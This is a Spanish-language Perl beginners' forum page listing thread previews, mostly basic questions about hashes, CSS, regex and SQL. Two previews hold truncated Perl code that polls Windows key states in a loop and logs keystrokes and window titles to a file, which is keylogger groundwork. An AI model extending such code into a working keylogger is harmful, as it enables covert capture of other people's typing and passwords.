Tengo el siguiente código
use Win32::GuiTest qw(GetAsyncKeyState GetForegroundWindow GetWindowText);
use Win32::API;
use Switch;
Win32::API->Import('user32', 'GetKeyState', 'I', 'I');
sub GetCapsLock {
GetKeyState(0x14) & 1;
}
sub GetNumLock {
GetKeyState(0x90) & 1;
}
sub GetScrollLock {
GetKeyState(0x91) & 1;
}
sub SetCapsLock {} # Not yet implemented
sub SetNumLock {} # Not yet implemented
sub SetScrollLock {} # Not yet implemented
while(1){
if(-s OUT >= 1048576){
close(OUT);
#$I++;
open (OUT, ">>outkey$I.txt") || die "could not create ...
-
- Publicidad
Fecha actual 2025-01-12 19:03 @835
News of Básico
Site map of Básico » Foro : Básico
¿Apenas comienzas con Perl? En este foro podrás encontrar y hacer preguntas básicas de Perl con respuestas aptas a tu nivel.Error en compilación con perl2exe
Read more : Error en compilación con perl2exe | Vistas : 1027 | Respuestas : 10
Reconocer shift en Windows
Tengo el siguiente código.
use Win32::API;
my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
while(1) {
if (dame(0x10)) {
print "shift\n";
$shift = 1;
} else {
$shift = 0;
}
if(dame(0x31)) {
if($shift eq "1") {
print "!\n";
} else {
print "1\n";
}
}
}#
sub dame {
return($come->Call(@_) & 1);
}
sub savefile {
print $_."\n";
}
La idea es reconocer cuando alguien quiere hacer "!" pero el problema es que ...
use Win32::API;
my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
while(1) {
if (dame(0x10)) {
print "shift\n";
$shift = 1;
} else {
$shift = 0;
}
if(dame(0x31)) {
if($shift eq "1") {
print "!\n";
} else {
print "1\n";
}
}
}#
sub dame {
return($come->Call(@_) & 1);
}
sub savefile {
print $_."\n";
}
La idea es reconocer cuando alguien quiere hacer "!" pero el problema es que ...
Read more : Reconocer shift en Windows | Vistas : 580 | Respuestas : 0
Evaluar una variable en Perl
¡Hola! :)
Estoy aprendiendo Perl y quiero saber si puedo evaluar una variable como se hace en Cobol. Ejemplo:
EVALUATE X
WHEN 0
CONDICION 1
WHEN 1
CONDICION 2
WHEN 2
CONDICION 3
WHEN OTHER
CONDICION 4
END-EVALUATE;
Les agradezco si me pueden ayudar, este es el único medio por el cual estoy aprendiendo Perl.
Att: Chascarrilla
Estoy aprendiendo Perl y quiero saber si puedo evaluar una variable como se hace en Cobol. Ejemplo:
EVALUATE X
WHEN 0
CONDICION 1
WHEN 1
CONDICION 2
WHEN 2
CONDICION 3
WHEN OTHER
CONDICION 4
END-EVALUATE;
Les agradezco si me pueden ayudar, este es el único medio por el cual estoy aprendiendo Perl.
Att: Chascarrilla
Read more : Evaluar una variable en Perl | Vistas : 1245 | Respuestas : 4
Agregar CSS a Perl
Por ejemplo, tengo el siguiente código:
#!C:/xampp/perl/bin/perl.exe
print "Content-type: text/html \n\n";
print <<EOF;
<html>
<head>
<style type="text/css">
body{background-image:url("fondo.png");background-repeat: repeat}
</style>
</head>
<body>
<center><h1>Hola Mundo</h1></center>
</body>
</html>
EOF
Y cuando lo ejecuto lo único que me sale es el título, no aparece el fondo, ya probé el código en una página HTML y sale todo bien pero con Perl, nada.
#!C:/xampp/perl/bin/perl.exe
print "Content-type: text/html \n\n";
print <<EOF;
<html>
<head>
<style type="text/css">
body{background-image:url("fondo.png");background-repeat: repeat}
</style>
</head>
<body>
<center><h1>Hola Mundo</h1></center>
</body>
</html>
EOF
Y cuando lo ejecuto lo único que me sale es el título, no aparece el fondo, ya probé el código en una página HTML y sale todo bien pero con Perl, nada.
Read more : Agregar CSS a Perl | Vistas : 2323 | Respuestas : 18
Filtrar caracteres
Soy nueva en esto del manejo de Perl. La verdad es que jamás lo había usado... He estado buscando mucho en Internet pero no he hallado nada que me ayude...
Mi problema es que leo un archivo de texto y después me crea otro archivo de texto con todas sus líneas (eso ya lo hace). Mi problema es que al enviarlo al otro archivo tengo que eliminar algunos caracteres de algunas líneas y en otras ...
Mi problema es que leo un archivo de texto y después me crea otro archivo de texto con todas sus líneas (eso ya lo hace). Mi problema es que al enviarlo al otro archivo tengo que eliminar algunos caracteres de algunas líneas y en otras ...
Read more : Filtrar caracteres | Vistas : 826 | Respuestas : 4
Explicación de una instrucción
Pues resulta que me vengo leyendo algunos manuales y viendo códigos ya escritos pero en ningún lado doy con el siguiente tipo de instrucción:
$tipo{'cartera'}{'bolso'}="No";
No logro entender qué se está queriendo hacer... ¿Alguien sería tan amable de decirme cuál es la intención en este caso de usar esta variable? :?
$tipo{'cartera'}{'bolso'}="No";
No logro entender qué se está queriendo hacer... ¿Alguien sería tan amable de decirme cuál es la intención en este caso de usar esta variable? :?
Read more : Explicación de una instrucción | Vistas : 825 | Respuestas : 2
Expresión regular en Google
Tengo el siguiente código.
use LWP::UserAgent;
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
$code = toma("http://www.google.com.ar/search?q=test&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:es-ES:official&client=firefox-a");
while($code=~/<a href="(.*?)" class=l onmousedown/mig) {
print $1."\n";
}
sub toma {
return $nave->get($_)->content;
}
El problema es que la expresión regular no funciona. El patrón es así:
<a href="http://www.psicoactiva.com/tests.htm" class=l onmousedown
¿ Alguien me podría ayudar ?
use LWP::UserAgent;
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
$code = toma("http://www.google.com.ar/search?q=test&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:es-ES:official&client=firefox-a");
while($code=~/<a href="(.*?)" class=l onmousedown/mig) {
print $1."\n";
}
sub toma {
return $nave->get($_)->content;
}
El problema es que la expresión regular no funciona. El patrón es así:
<a href="http://www.psicoactiva.com/tests.htm" class=l onmousedown
¿ Alguien me podría ayudar ?
Read more : Expresión regular en Google | Vistas : 1026 | Respuestas : 6
Subir imágenes al servidor
Hola, hacía tiempo que no me conectaba. Tengo un pequeño problema: tengo un cgi en Perl que pide datos al usuario, y me encantaría añadir que puedan subir una foto, pero no tengo ni idea de cómo hacerlo. ¿Alguien podría ayudarme? ¿Hay algo hecho por ahí que me pueda servir? Muchas gracias.
Read more : Subir imágenes al servidor | Vistas : 835 | Respuestas : 1
Obtener el máximo de una base de datos
Quiero recoger el identificador más grande que haya en una base de datos, y para ello tengo una función que hace lo siguiente:
$sth = $dbh->prepare("SELECT max(id_vector) FROM android.datamining");
my $rv = $sth->execute;
$result = $sth->fetchrow_hashref();
$VectorID = $result->{id_vector)};
$sth->finish;
Sé que no se hace así porque no lo recoge bien, pero si en la 4 línea pongo max(id_vector) en vez de solamente id_vector, el programa no funciona.
¡Gracias!
$sth = $dbh->prepare("SELECT max(id_vector) FROM android.datamining");
my $rv = $sth->execute;
$result = $sth->fetchrow_hashref();
$VectorID = $result->{id_vector)};
$sth->finish;
Sé que no se hace así porque no lo recoge bien, pero si en la 4 línea pongo max(id_vector) en vez de solamente id_vector, el programa no funciona.
¡Gracias!
Read more : Obtener el máximo de una base de datos | Vistas : 803 | Respuestas : 3
Ordenando un hash por sus valores y por sus llaves
Saludos, Perl en Español.
Necesito ordenar el siguiente hash de horas->precio:
(el ingreso es 1->precio, 2->precio, 3->precio y así sucesivamente pero al imprimir el hash sale en el orden mostrado.
Curioseando en el foro me fui hacia un articulo que Uds. recomendaron y escribí esto:
foreach my $hora( sort ordenar_por_valor keys %precio) {
my $valor = $precio{$hora};
print "$hora => $valor\n";
}
sub ordenar_por_valor {
return $precio{$a} <=> ...
Necesito ordenar el siguiente hash de horas->precio:
(el ingreso es 1->precio, 2->precio, 3->precio y así sucesivamente pero al imprimir el hash sale en el orden mostrado.
Curioseando en el foro me fui hacia un articulo que Uds. recomendaron y escribí esto:
foreach my $hora( sort ordenar_por_valor keys %precio) {
my $valor = $precio{$hora};
print "$hora => $valor\n";
}
sub ordenar_por_valor {
return $precio{$a} <=> ...
Read more : Ordenando un hash por sus valores y por sus llaves | Vistas : 900 | Respuestas : 4
Last 10 active topics
Estadísticas
Mensajes totales 36890 • Temas totales 7432 • Usuarios totales 1981